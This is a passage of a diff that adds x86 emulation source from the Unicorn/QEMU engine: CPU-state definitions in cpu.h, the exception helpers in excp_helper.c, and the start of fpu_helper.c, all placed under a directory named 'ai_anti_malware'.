CPUID_SVM_FLUSHASID (1U << 6) +#define CPUID_SVM_DECODEASSIST (1U << 7) +#define CPUID_SVM_PAUSEFILTER (1U << 10) +#define CPUID_SVM_PFTHRESHOLD (1U << 12) + +#define CPUID_7_0_EBX_FSGSBASE (1U << 0) +#define CPUID_7_0_EBX_BMI1 (1U << 3) +#define CPUID_7_0_EBX_HLE (1U << 4) +#define CPUID_7_0_EBX_AVX2 (1U << 5) +#define CPUID_7_0_EBX_SMEP (1U << 7) +#define CPUID_7_0_EBX_BMI2 (1U << 8) +#define CPUID_7_0_EBX_ERMS (1U << 9) +#define CPUID_7_0_EBX_INVPCID (1U << 10) +#define CPUID_7_0_EBX_RTM (1U << 11) +#define CPUID_7_0_EBX_MPX (1U << 14) +#define CPUID_7_0_EBX_AVX512F (1U << 16) /* AVX-512 Foundation */ +#define CPUID_7_0_EBX_RDSEED (1U << 18) +#define CPUID_7_0_EBX_ADX (1U << 19) +#define CPUID_7_0_EBX_SMAP (1U << 20) +#define CPUID_7_0_EBX_AVX512PF (1U << 26) /* AVX-512 Prefetch */ +#define CPUID_7_0_EBX_AVX512ER (1U << 27) /* AVX-512 Exponential and Reciprocal */ +#define CPUID_7_0_EBX_AVX512CD (1U << 28) /* AVX-512 Conflict Detection */ + +/* CPUID[0x80000007].EDX flags: */ +#define CPUID_APM_INVTSC (1U << 8) + +#define CPUID_VENDOR_SZ 12 + +#define CPUID_VENDOR_INTEL_1 0x756e6547 /* "Genu" */ +#define CPUID_VENDOR_INTEL_2 0x49656e69 /* "ineI" */ +#define CPUID_VENDOR_INTEL_3 0x6c65746e /* "ntel" */ +#define CPUID_VENDOR_INTEL "GenuineIntel" + +#define CPUID_VENDOR_AMD_1 0x68747541 /* "Auth" */ +#define CPUID_VENDOR_AMD_2 0x69746e65 /* "enti" */ +#define CPUID_VENDOR_AMD_3 0x444d4163 /* "cAMD" */ +#define CPUID_VENDOR_AMD "AuthenticAMD" + +#define CPUID_VENDOR_VIA "CentaurHauls" + +#define CPUID_MWAIT_IBE (1U << 1) /* Interrupts can exit capability */ +#define CPUID_MWAIT_EMX (1U << 0) /* enumeration supported */ + +#ifndef HYPERV_SPINLOCK_NEVER_RETRY +#define HYPERV_SPINLOCK_NEVER_RETRY 0xFFFFFFFF +#endif + +#define EXCP00_DIVZ 0 +#define EXCP01_DB 1 +#define EXCP02_NMI 2 +#define EXCP03_INT3 3 +#define EXCP04_INTO 4 +#define EXCP05_BOUND 5 +#define EXCP06_ILLOP 6 +#define EXCP07_PREX 7 +#define EXCP08_DBLE 8 +#define EXCP09_XERR 9 +#define EXCP0A_TSS 10 +#define EXCP0B_NOSEG 11 +#define EXCP0C_STACK 12 +#define EXCP0D_GPF 13 +#define EXCP0E_PAGE 14 +#define EXCP10_COPR 16 +#define EXCP11_ALGN 17 +#define EXCP12_MCHK 18 + +#define EXCP_SYSCALL 0x100 /* only happens in user only emulation + for syscall instruction */ + +/* i386-specific interrupt pending bits. */ +#define CPU_INTERRUPT_POLL CPU_INTERRUPT_TGT_EXT_1 +#define CPU_INTERRUPT_SMI CPU_INTERRUPT_TGT_EXT_2 +#define CPU_INTERRUPT_NMI CPU_INTERRUPT_TGT_EXT_3 +#define CPU_INTERRUPT_MCE CPU_INTERRUPT_TGT_EXT_4 +#define CPU_INTERRUPT_VIRQ CPU_INTERRUPT_TGT_INT_0 +#define CPU_INTERRUPT_SIPI CPU_INTERRUPT_TGT_INT_1 +#define CPU_INTERRUPT_TPR CPU_INTERRUPT_TGT_INT_2 + +/* Use a clearer name for this. */ +#define CPU_INTERRUPT_INIT CPU_INTERRUPT_RESET + +typedef enum { + CC_OP_DYNAMIC, /* must use dynamic code to get cc_op */ + CC_OP_EFLAGS, /* all cc are explicitly computed, CC_SRC = flags */ + + CC_OP_MULB, /* modify all flags, C, O = (CC_SRC != 0) */ + CC_OP_MULW, + CC_OP_MULL, + CC_OP_MULQ, + + CC_OP_ADDB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_ADDW, + CC_OP_ADDL, + CC_OP_ADDQ, + + CC_OP_ADCB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_ADCW, + CC_OP_ADCL, + CC_OP_ADCQ, + + CC_OP_SUBB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_SUBW, + CC_OP_SUBL, + CC_OP_SUBQ, + + CC_OP_SBBB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_SBBW, + CC_OP_SBBL, + CC_OP_SBBQ, + + CC_OP_LOGICB, /* modify all flags, CC_DST = res */ + CC_OP_LOGICW, + CC_OP_LOGICL, + CC_OP_LOGICQ, + + CC_OP_INCB, /* modify all flags except, CC_DST = res, CC_SRC = C */ + CC_OP_INCW, + CC_OP_INCL, + CC_OP_INCQ, + + CC_OP_DECB, /* modify all flags except, CC_DST = res, CC_SRC = C */ + CC_OP_DECW, + CC_OP_DECL, + CC_OP_DECQ, + + CC_OP_SHLB, /* modify all flags, CC_DST = res, CC_SRC.msb = C */ + CC_OP_SHLW, + CC_OP_SHLL, + CC_OP_SHLQ, + + CC_OP_SARB, /* modify all flags, CC_DST = res, CC_SRC.lsb = C */ + CC_OP_SARW, + CC_OP_SARL, + CC_OP_SARQ, + + CC_OP_BMILGB, /* Z,S via CC_DST, C = SRC==0; O=0; P,A undefined */ + CC_OP_BMILGW, + CC_OP_BMILGL, + CC_OP_BMILGQ, + + CC_OP_ADCX, /* CC_DST = C, CC_SRC = rest. */ + CC_OP_ADOX, /* CC_DST = O, CC_SRC = rest. */ + CC_OP_ADCOX, /* CC_DST = C, CC_SRC2 = O, CC_SRC = rest. */ + + CC_OP_CLR, /* Z set, all other flags clear. */ + + CC_OP_NB, +} CCOp; + +typedef struct SegmentCache { + uint32_t selector; + target_ulong base; + uint32_t limit; + uint32_t flags; +} SegmentCache; + +typedef union { + uint8_t _b[16]; + uint16_t _w[8]; + uint32_t _l[4]; + uint64_t _q[2]; + float32 _s[4]; + float64 _d[2]; +} XMMReg; + +typedef union { + uint8_t _b[32]; + uint16_t _w[16]; + uint32_t _l[8]; + uint64_t _q[4]; + float32 _s[8]; + float64 _d[4]; +} YMMReg; + +typedef union { + uint8_t _b[64]; + uint16_t _w[32]; + uint32_t _l[16]; + uint64_t _q[8]; + float32 _s[16]; + float64 _d[8]; +} ZMMReg; + +typedef union { + uint8_t _b[8]; + uint16_t _w[4]; + uint32_t _l[2]; + float32 _s[2]; + uint64_t q; +} MMXReg; + +typedef struct BNDReg { + uint64_t lb; + uint64_t ub; +} BNDReg; + +typedef struct BNDCSReg { + uint64_t cfgu; + uint64_t sts; +} BNDCSReg; + +#ifdef HOST_WORDS_BIGENDIAN +#define ZMM_B(n) _b[63 - (n)] +#define ZMM_W(n) _w[31 - (n)] +#define ZMM_L(n) _l[15 - (n)] +#define ZMM_S(n) _s[15 - (n)] +#define ZMM_Q(n) _q[7 - (n)] +#define ZMM_D(n) _d[7 - (n)] + +#define YMM_B(n) _b[31 - (n)] +#define YMM_W(n) _w[15 - (n)] +#define YMM_L(n) _l[7 - (n)] +#define YMM_S(n) _s[7 - (n)] +#define YMM_Q(n) _q[3 - (n)] +#define YMM_D(n) _d[3 - (n)] + +#define XMM_B(n) _b[15 - (n)] +#define XMM_W(n) _w[7 - (n)] +#define XMM_L(n) _l[3 - (n)] +#define XMM_S(n) _s[3 - (n)] +#define XMM_Q(n) _q[1 - (n)] +#define XMM_D(n) _d[1 - (n)] + +#define MMX_B(n) _b[7 - (n)] +#define MMX_W(n) _w[3 - (n)] +#define MMX_L(n) _l[1 - (n)] +#define MMX_S(n) _s[1 - (n)] +#else +#define ZMM_B(n) _b[n] +#define ZMM_W(n) _w[n] +#define ZMM_L(n) _l[n] +#define ZMM_S(n) _s[n] +#define ZMM_Q(n) _q[n] +#define ZMM_D(n) _d[n] + +#define YMM_B(n) _b[n] +#define YMM_W(n) _w[n] +#define YMM_L(n) _l[n] +#define YMM_S(n) _s[n] +#define YMM_Q(n) _q[n] +#define YMM_D(n) _d[n] + +#define XMM_B(n) _b[n] +#define XMM_W(n) _w[n] +#define XMM_L(n) _l[n] +#define XMM_S(n) _s[n] +#define XMM_Q(n) _q[n] +#define XMM_D(n) _d[n] + +#define MMX_B(n) _b[n] +#define MMX_W(n) _w[n] +#define MMX_L(n) _l[n] +#define MMX_S(n) _s[n] +#endif +#define MMX_Q(n) q + +typedef union { + floatx80 QEMU_ALIGN(16, d); + MMXReg mmx; +} FPReg; + +typedef struct { + uint64_t base; + uint64_t mask; +} MTRRVar; + +#define CPU_NB_REGS64 16 +#define CPU_NB_REGS32 8 + +#ifdef TARGET_X86_64 +#define CPU_NB_REGS CPU_NB_REGS64 +#else +#define CPU_NB_REGS CPU_NB_REGS32 +#endif + +#define MAX_FIXED_COUNTERS 3 +#define MAX_GP_COUNTERS (MSR_IA32_PERF_STATUS - MSR_P6_EVNTSEL0) + +#define NB_MMU_MODES 3 + +#define NB_OPMASK_REGS 8 + +typedef enum TPRAccess { + TPR_ACCESS_READ, + TPR_ACCESS_WRITE, +} TPRAccess; + +typedef struct CPUX86State { + /* standard registers */ + target_ulong regs[CPU_NB_REGS]; + target_ulong eip; + target_ulong eflags0; // copy of eflags that does not change thru the BB + target_ulong eflags; /* eflags register. During CPU emulation, CC + flags and DF are set to zero because they are + stored elsewhere */ + + /* emulator internal eflags handling */ + target_ulong cc_dst; + target_ulong cc_src; + target_ulong cc_src2; + uint32_t cc_op; + int32_t df; /* D flag : 1 if D = 0, -1 if D = 1 */ + uint32_t hflags; /* TB flags, see HF_xxx constants. These flags + are known at translation time. */ + uint32_t hflags2; /* various other flags, see HF2_xxx constants. */ + + /* segments */ + SegmentCache segs[6]; /* selector values */ + SegmentCache ldt; + SegmentCache tr; + SegmentCache gdt; /* only base and limit are used */ + SegmentCache idt; /* only base and limit are used */ + + target_ulong cr[5]; /* NOTE: cr1 is unused */ + int32_t a20_mask; + + BNDReg bnd_regs[4]; + BNDCSReg bndcs_regs; + uint64_t msr_bndcfgs; + + /* Beginning of state preserved by INIT (dummy marker). */ + //struct {} start_init_save; + int start_init_save; + + /* FPU state */ + unsigned int fpstt; /* top of stack index */ + uint16_t fpus; + uint16_t fpuc; + uint8_t fptags[8]; /* 0 = valid, 1 = empty */ + FPReg fpregs[8]; + /* KVM-only so far */ + uint16_t fpop; + uint64_t fpip; + uint64_t fpdp; + + /* emulator internal variables */ + float_status fp_status; + floatx80 ft0; + + float_status mmx_status; /* for 3DNow! float ops */ + float_status sse_status; + uint32_t mxcsr; + XMMReg xmm_regs[CPU_NB_REGS]; + XMMReg xmm_t0; + MMXReg mmx_t0; + + XMMReg ymmh_regs[CPU_NB_REGS]; + + uint64_t opmask_regs[NB_OPMASK_REGS]; + YMMReg zmmh_regs[CPU_NB_REGS]; +#ifdef TARGET_X86_64 + ZMMReg hi16_zmm_regs[CPU_NB_REGS]; +#endif + + /* sysenter registers */ + uint32_t sysenter_cs; + target_ulong sysenter_esp; + target_ulong sysenter_eip; + uint64_t efer; + uint64_t star; + + uint64_t vm_hsave; + +#ifdef TARGET_X86_64 + target_ulong lstar; + target_ulong cstar; + target_ulong fmask; + target_ulong kernelgsbase; +#endif + + uint64_t tsc; + uint64_t tsc_adjust; + uint64_t tsc_deadline; + + uint64_t mcg_status; + uint64_t msr_ia32_misc_enable; + uint64_t msr_ia32_feature_control; + + uint64_t msr_fixed_ctr_ctrl; + uint64_t msr_global_ctrl; + uint64_t msr_global_status; + uint64_t msr_global_ovf_ctrl; + uint64_t msr_fixed_counters[MAX_FIXED_COUNTERS]; + uint64_t msr_gp_counters[MAX_GP_COUNTERS]; + uint64_t msr_gp_evtsel[MAX_GP_COUNTERS]; + + uint64_t pat; + uint32_t smbase; + + /* End of state preserved by INIT (dummy marker). */ + //struct {} end_init_save; + int end_init_save; + + uint64_t system_time_msr; + uint64_t wall_clock_msr; + uint64_t steal_time_msr; + uint64_t async_pf_en_msr; + uint64_t pv_eoi_en_msr; + + uint64_t msr_hv_hypercall; + uint64_t msr_hv_guest_os_id; + uint64_t msr_hv_vapic; + uint64_t msr_hv_tsc; + + /* exception/interrupt handling */ + int error_code; + int exception_is_int; + target_ulong exception_next_eip; + target_ulong dr[8]; /* debug registers */ + union { + struct CPUBreakpoint *cpu_breakpoint[4]; + struct CPUWatchpoint *cpu_watchpoint[4]; + }; /* break/watchpoints for dr[0..3] */ + int old_exception; /* exception in flight */ + + uint64_t vm_vmcb; + uint64_t tsc_offset; + uint64_t intercept; + uint16_t intercept_cr_read; + uint16_t intercept_cr_write; + uint16_t intercept_dr_read; + uint16_t intercept_dr_write; + uint32_t intercept_exceptions; + uint8_t v_tpr; + + /* KVM states, automatically cleared on reset */ + uint8_t nmi_injected; + uint8_t nmi_pending; + + CPU_COMMON + + /* Fields from here on are preserved across CPU reset. */ + + /* processor features (e.g. for CPUID insn) */ + uint32_t cpuid_level; + uint32_t cpuid_xlevel; + uint32_t cpuid_xlevel2; + uint32_t cpuid_vendor1; + uint32_t cpuid_vendor2; + uint32_t cpuid_vendor3; + uint32_t cpuid_version; + FeatureWordArray features; + uint32_t cpuid_model[12]; + uint32_t cpuid_apic_id; + + /* MTRRs */ + uint64_t mtrr_fixed[11]; + uint64_t mtrr_deftype; + MTRRVar mtrr_var[MSR_MTRRcap_VCNT]; + + /* For KVM */ + uint32_t mp_state; + int32_t exception_injected; + int32_t interrupt_injected; + uint8_t soft_interrupt; + uint8_t has_error_code; + uint32_t sipi_vector; + bool tsc_valid; + int tsc_khz; + void *kvm_xsave_buf; + + uint64_t mcg_cap; + uint64_t mcg_ctl; + uint64_t mce_banks[MCE_BANKS_DEF*4]; + + uint64_t tsc_aux; + + /* vmstate */ + uint16_t fpus_vmstate; + uint16_t fptag_vmstate; + uint16_t fpregs_format_vmstate; + uint64_t xstate_bv; + + uint64_t xcr0; + + TPRAccess tpr_access_type; + + // Unicorn engine + struct uc_struct *uc; +} CPUX86State; + +#include "cpu-qom.h" + +X86CPU *cpu_x86_init(struct uc_struct *uc, const char *cpu_model); +X86CPU *cpu_x86_create(struct uc_struct *uc, const char *cpu_model, Error **errp); +int cpu_x86_exec(struct uc_struct *uc, CPUX86State *s); +void x86_cpudef_setup(void); +int cpu_x86_support_mca_broadcast(CPUX86State *env); + +int cpu_get_pic_interrupt(CPUX86State *s); +/* MSDOS compatibility mode FPU exception support */ +void cpu_set_ferr(CPUX86State *s); + +/* this function must always be used to load data in the segment + cache: it synchronizes the hflags with the segment cache values */ +static inline void cpu_x86_load_seg_cache(CPUX86State *env, + int seg_reg, unsigned int selector, + target_ulong base, + unsigned int limit, + unsigned int flags) +{ + SegmentCache *sc; + unsigned int new_hflags; + + sc = &env->segs[seg_reg]; + sc->selector = selector; + sc->base = base; + sc->limit = limit; + sc->flags = flags; + + /* update the hidden flags */ + { + if (seg_reg == R_CS) { +#ifdef TARGET_X86_64 + if ((env->hflags & HF_LMA_MASK) && (flags & DESC_L_MASK)) { + /* long mode */ + env->hflags |= HF_CS32_MASK | HF_SS32_MASK | HF_CS64_MASK; + env->hflags &= ~(HF_ADDSEG_MASK); + } else +#endif + { + /* legacy / compatibility case */ + new_hflags = (env->segs[R_CS].flags & DESC_B_MASK) + >> (DESC_B_SHIFT - HF_CS32_SHIFT); + env->hflags = (env->hflags & ~(HF_CS32_MASK | HF_CS64_MASK)) | + new_hflags; + } + } + if (seg_reg == R_SS) { + int cpl = (flags >> DESC_DPL_SHIFT) & 3; +#if HF_CPL_MASK != 3 +#error HF_CPL_MASK is hardcoded +#endif + env->hflags = (env->hflags & ~HF_CPL_MASK) | cpl; + } + new_hflags = (env->segs[R_SS].flags & DESC_B_MASK) + >> (DESC_B_SHIFT - HF_SS32_SHIFT); + if (env->hflags & HF_CS64_MASK) { + /* zero base assumed for DS, ES and SS in long mode */ + } else if (!(env->cr[0] & CR0_PE_MASK) || + (env->eflags & VM_MASK) || + !(env->hflags & HF_CS32_MASK)) { + /* XXX: try to avoid this test. The problem comes from the + fact that is real mode or vm86 mode we only modify the + 'base' and 'selector' fields of the segment cache to go + faster. A solution may be to force addseg to one in + translate-i386.c. */ + new_hflags |= HF_ADDSEG_MASK; + } else { + new_hflags |= ((env->segs[R_DS].base | + env->segs[R_ES].base | + env->segs[R_SS].base) != 0) << + HF_ADDSEG_SHIFT; + } + env->hflags = (env->hflags & + ~(HF_SS32_MASK | HF_ADDSEG_MASK)) | new_hflags; + } +} + +static inline void cpu_x86_load_seg_cache_sipi(X86CPU *cpu, + uint8_t sipi_vector) +{ + CPUState *cs = CPU(cpu); + CPUX86State *env = &cpu->env; + + env->eip = 0; + cpu_x86_load_seg_cache(env, R_CS, sipi_vector << 8, + sipi_vector << 12, + env->segs[R_CS].limit, + env->segs[R_CS].flags); + cs->halted = 0; +} + +int cpu_x86_get_descr_debug(CPUX86State *env, unsigned int selector, + target_ulong *base, unsigned int *limit, + unsigned int *flags); + +/* op_helper.c */ +/* used for debug or cpu save/restore */ +void cpu_get_fp80(uint64_t *pmant, uint16_t *pexp, floatx80 f); +floatx80 cpu_set_fp80(uint64_t mant, uint16_t upper); + +/* cpu-exec.c */ +/* the following helpers are only usable in user mode simulation as + they can trigger unexpected exceptions */ +void cpu_x86_load_seg(CPUX86State *s, int seg_reg, int selector); +void cpu_x86_fsave(CPUX86State *s, target_ulong ptr, int data32); +void cpu_x86_frstor(CPUX86State *s, target_ulong ptr, int data32); + +/* the binding language can not catch the exceptions. + check the arguments, return error instead of raise exceptions. */ +int uc_check_cpu_x86_load_seg(CPUX86State *env, int seg_reg, int sel); + +/* you can call this signal handler from your SIGBUS and SIGSEGV + signal handlers to inform the virtual CPU of exceptions. non zero + is returned if the signal was handled by the virtual CPU. */ +int cpu_x86_signal_handler(int host_signum, void *pinfo, + void *puc); + +/* cpuid.c */ +void cpu_x86_cpuid(CPUX86State *env, uint32_t index, uint32_t count, + uint32_t *eax, uint32_t *ebx, + uint32_t *ecx, uint32_t *edx); +void cpu_clear_apic_feature(CPUX86State *env); +void host_cpuid(uint32_t function, uint32_t count, + uint32_t *eax, uint32_t *ebx, uint32_t *ecx, uint32_t *edx); + +/* helper.c */ +int x86_cpu_handle_mmu_fault(CPUState *cpu, vaddr addr, + int is_write, int mmu_idx); +void x86_cpu_set_a20(X86CPU *cpu, int a20_state); + +static inline bool hw_local_breakpoint_enabled(unsigned long dr7, int index) +{ + return (dr7 >> (index * 2)) & 1; +} + +static inline bool hw_global_breakpoint_enabled(unsigned long dr7, int index) +{ + return (dr7 >> (index * 2)) & 2; + +} +static inline bool hw_breakpoint_enabled(unsigned long dr7, int index) +{ + return hw_global_breakpoint_enabled(dr7, index) || + hw_local_breakpoint_enabled(dr7, index); +} + +static inline int hw_breakpoint_type(unsigned long dr7, int index) +{ + return (dr7 >> (DR7_TYPE_SHIFT + (index * 4))) & 3; +} + +static inline int hw_breakpoint_len(unsigned long dr7, int index) +{ + int len = ((dr7 >> (DR7_LEN_SHIFT + (index * 4))) & 3); + return (len == 2) ? 8 : len + 1; +} + +void hw_breakpoint_insert(CPUX86State *env, int index); +void hw_breakpoint_remove(CPUX86State *env, int index); +bool check_hw_breakpoints(CPUX86State *env, bool force_dr6_update); +void breakpoint_handler(CPUState *cs); + +/* will be suppressed */ +void cpu_x86_update_cr0(CPUX86State *env, uint32_t new_cr0); +void cpu_x86_update_cr3(CPUX86State *env, target_ulong new_cr3); +void cpu_x86_update_cr4(CPUX86State *env, uint32_t new_cr4); + +/* hw/pc.c */ +void cpu_smm_update(CPUX86State *env); +uint64_t cpu_get_tsc(CPUX86State *env); + +#define TARGET_PAGE_BITS 12 + +#ifdef TARGET_X86_64 +#define TARGET_PHYS_ADDR_SPACE_BITS 52 +/* ??? This is really 48 bits, sign-extended, but the only thing + accessible to userland with bit 48 set is the VSYSCALL, and that + is handled via other mechanisms. */ +#define TARGET_VIRT_ADDR_SPACE_BITS 47 +#else +#define TARGET_PHYS_ADDR_SPACE_BITS 36 +#define TARGET_VIRT_ADDR_SPACE_BITS 32 +#endif + +/* XXX: This value should match the one returned by CPUID + * and in exec.c */ +# if defined(TARGET_X86_64) +# define PHYS_ADDR_MASK 0xffffffffffLL +# else +# define PHYS_ADDR_MASK 0xfffffffffLL +# endif + +static inline CPUX86State *cpu_init(struct uc_struct *uc, const char *cpu_model) +{ + X86CPU *cpu = cpu_x86_init(uc, cpu_model); + if (cpu == NULL) { + return NULL; + } + return &cpu->env; +} + +#ifdef TARGET_I386 +#define cpu_exec cpu_x86_exec +#define cpu_gen_code cpu_x86_gen_code +#define cpu_signal_handler cpu_x86_signal_handler +#define cpudef_setup x86_cpudef_setup +#endif + +/* MMU modes definitions */ +#define MMU_MODE0_SUFFIX _ksmap +#define MMU_MODE1_SUFFIX _user +#define MMU_MODE2_SUFFIX _knosmap /* SMAP disabled or CPL<3 && AC=1 */ +#define MMU_KSMAP_IDX 0 +#define MMU_USER_IDX 1 +#define MMU_KNOSMAP_IDX 2 +static inline int cpu_mmu_index(CPUX86State *env) +{ + return (env->hflags & HF_CPL_MASK) == 3 ? MMU_USER_IDX : + (!(env->hflags & HF_SMAP_MASK) || (env->eflags & AC_MASK)) + ? MMU_KNOSMAP_IDX : MMU_KSMAP_IDX; +} + +static inline int cpu_mmu_index_kernel(CPUX86State *env) +{ + return !(env->hflags & HF_SMAP_MASK) ? MMU_KNOSMAP_IDX : + ((env->hflags & HF_CPL_MASK) < 3 && (env->eflags & AC_MASK)) + ? MMU_KNOSMAP_IDX : MMU_KSMAP_IDX; +} + +#define CC_DST (env->cc_dst) +#define CC_SRC (env->cc_src) +#define CC_SRC2 (env->cc_src2) +#define CC_OP (env->cc_op) + +/* n must be a constant to be efficient */ +static inline target_long lshift(target_long x, int n) +{ + if (n >= 0) { + return x << n; + } else { + return x >> (-n); + } +} + +/* float macros */ +#define FT0 (env->ft0) +#define ST0 (env->fpregs[env->fpstt].d) +#define ST(n) (env->fpregs[(env->fpstt + (n)) & 7].d) +#define ST1 ST(1) + +/* translate.c */ +void optimize_flags_init(struct uc_struct *); + +#include "exec/cpu-all.h" +#include "svm.h" + +#if !defined(CONFIG_USER_ONLY) +#include "hw/i386/apic.h" +#endif + +#include "exec/exec-all.h" + +static inline void cpu_get_tb_cpu_state(CPUX86State *env, target_ulong *pc, + target_ulong *cs_base, int *flags) +{ + *cs_base = env->segs[R_CS].base; + *pc = *cs_base + env->eip; + *flags = env->hflags | + (env->eflags & (IOPL_MASK | TF_MASK | RF_MASK | VM_MASK | AC_MASK)); +} + +void do_cpu_init(X86CPU *cpu); +void do_cpu_sipi(X86CPU *cpu); + +#define MCE_INJECT_BROADCAST 1 +#define MCE_INJECT_UNCOND_AO 2 + +/* excp_helper.c */ +void QEMU_NORETURN raise_exception(CPUX86State *env, int exception_index); +void QEMU_NORETURN raise_exception_err(CPUX86State *env, int exception_index, + int error_code); +void QEMU_NORETURN raise_interrupt(CPUX86State *nenv, int intno, int is_int, + int error_code, int next_eip_addend); + +/* cc_helper.c */ +extern const uint8_t parity_table[256]; +uint32_t cpu_cc_compute_all(CPUX86State *env1, int op); +void update_fp_status(CPUX86State *env); + +static inline uint32_t cpu_compute_eflags(CPUX86State *env) +{ + return (env->eflags & ~(CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C | DF_MASK)) | cpu_cc_compute_all(env, CC_OP) | (env->df & DF_MASK); +} + +/* NOTE: the translator must set DisasContext.cc_op to CC_OP_EFLAGS + * after generating a call to a helper that uses this. + */ +static inline void cpu_load_eflags(CPUX86State *env, int eflags, + int update_mask) +{ + CC_SRC = eflags & (CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C); + CC_OP = CC_OP_EFLAGS; + env->df = 1 - (2 * ((eflags >> 10) & 1)); + env->eflags = (env->eflags & ~update_mask) | + (eflags & update_mask) | 0x2; +} + +/* load efer and update the corresponding hflags. XXX: do consistency + checks with cpuid bits? */ +static inline void cpu_load_efer(CPUX86State *env, uint64_t val) +{ + env->efer = val; + env->hflags &= ~(HF_LMA_MASK | HF_SVME_MASK); + if (env->efer & MSR_EFER_LMA) { + env->hflags |= HF_LMA_MASK; + } + if (env->efer & MSR_EFER_SVME) { + env->hflags |= HF_SVME_MASK; + } +} + +/* fpu_helper.c */ +void cpu_set_mxcsr(CPUX86State *env, uint32_t val); +void cpu_set_fpuc(CPUX86State *env, uint16_t val); + +/* svm_helper.c */ +void cpu_svm_check_intercept_param(CPUX86State *env1, uint32_t type, + uint64_t param); +void cpu_vmexit(CPUX86State *nenv, uint32_t exit_code, uint64_t exit_info_1); + +/* seg_helper.c */ +void do_interrupt_x86_hardirq(CPUX86State *env, int intno, int is_hw); + +void do_smm_enter(X86CPU *cpu); + +void cpu_report_tpr_access(CPUX86State *env, TPRAccess access); + +void x86_cpu_compat_set_features(const char *cpu_model, FeatureWord w, + uint32_t feat_add, uint32_t feat_remove); + +void x86_cpu_compat_kvm_no_autoenable(FeatureWord w, uint32_t features); +void x86_cpu_compat_kvm_no_autodisable(FeatureWord w, uint32_t features); + + +/* Return name of 32-bit register, from a R_* constant */ +const char *get_register_name_32(unsigned int reg); + +uint32_t x86_cpu_apic_id_from_index(unsigned int cpu_index); +void enable_compat_apic_id_mode(void); + +#define APIC_DEFAULT_ADDRESS 0xfee00000 +#define APIC_SPACE_SIZE 0x100000 + +#endif /* CPU_I386_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/excp_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/excp_helper.c new file mode 100644 index 0000000..7aea373 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/excp_helper.c @@ -0,0 +1,133 @@ +/* + * x86 exception helpers + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "qemu/log.h" +#include "sysemu/sysemu.h" +#include "exec/helper-proto.h" + +#include "uc_priv.h" + +#if 0 +#define raise_exception_err(env, a, b) \ + do { \ + qemu_log("raise_exception line=%d\n", __LINE__); \ + (raise_exception_err)(env, a, b); \ + } while (0) +#endif + +void helper_raise_interrupt(CPUX86State *env, int intno, int next_eip_addend) +{ + raise_interrupt(env, intno, 1, 0, next_eip_addend); +} + +void helper_raise_exception(CPUX86State *env, int exception_index) +{ + raise_exception(env, exception_index); +} + +/* + * Check nested exceptions and change to double or triple fault if + * needed. It should only be called, if this is not an interrupt. + * Returns the new exception number. + */ +static int check_exception(CPUX86State *env, int intno, int *error_code) +{ + int first_contributory = env->old_exception == 0 || + (env->old_exception >= 10 && + env->old_exception <= 13); + int second_contributory = intno == 0 || + (intno >= 10 && intno <= 13); + + qemu_log_mask(CPU_LOG_INT, "check_exception old: 0x%x new 0x%x\n", + env->old_exception, intno); + +#if !defined(CONFIG_USER_ONLY) + if (env->old_exception == EXCP08_DBLE) { + if (env->hflags & HF_SVMI_MASK) { + cpu_vmexit(env, SVM_EXIT_SHUTDOWN, 0); /* does not return */ + } + + qemu_log_mask(CPU_LOG_RESET, "Triple fault\n"); + + qemu_system_reset_request(env->uc); + return EXCP_HLT; + } +#endif + + if ((first_contributory && second_contributory) + || (env->old_exception == EXCP0E_PAGE && + (second_contributory || (intno == EXCP0E_PAGE)))) { + intno = EXCP08_DBLE; + *error_code = 0; + } + + if (second_contributory || (intno == EXCP0E_PAGE) || + (intno == EXCP08_DBLE)) { + env->old_exception = intno; + } + + return intno; +} + +/* + * Signal an interruption. It is executed in the main CPU loop. + * is_int is TRUE if coming from the int instruction. next_eip is the + * env->eip value AFTER the interrupt instruction. It is only relevant if + * is_int is TRUE. + */ +static void QEMU_NORETURN raise_interrupt2(CPUX86State *env, int intno, + int is_int, int error_code, + int next_eip_addend) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + + if (!is_int) { + cpu_svm_check_intercept_param(env, SVM_EXIT_EXCP_BASE + intno, + error_code); + intno = check_exception(env, intno, &error_code); + } else { + cpu_svm_check_intercept_param(env, SVM_EXIT_SWINT, 0); + } + + cs->exception_index = intno; // qq + env->error_code = error_code; + env->exception_is_int = is_int; + env->exception_next_eip = env->eip + next_eip_addend; + cpu_loop_exit(cs); +} + +/* shortcuts to generate exceptions */ + +void QEMU_NORETURN raise_interrupt(CPUX86State *env, int intno, int is_int, + int error_code, int next_eip_addend) +{ + raise_interrupt2(env, intno, is_int, error_code, next_eip_addend); +} + +void raise_exception_err(CPUX86State *env, int exception_index, + int error_code) +{ + raise_interrupt2(env, exception_index, 0, error_code, 0); +} + +void raise_exception(CPUX86State *env, int exception_index) +{ + raise_interrupt2(env, exception_index, 0, 0, 0); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/fpu_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/fpu_helper.c new file mode 100644 index 0000000..f121175 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/fpu_helper.c @@ -0,0 +1,1317 @@ +/* + * x86 FPU, MMX/3DNow!/SSE/SSE2/SSE3/SSSE3/SSE4/PNI helpers + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is 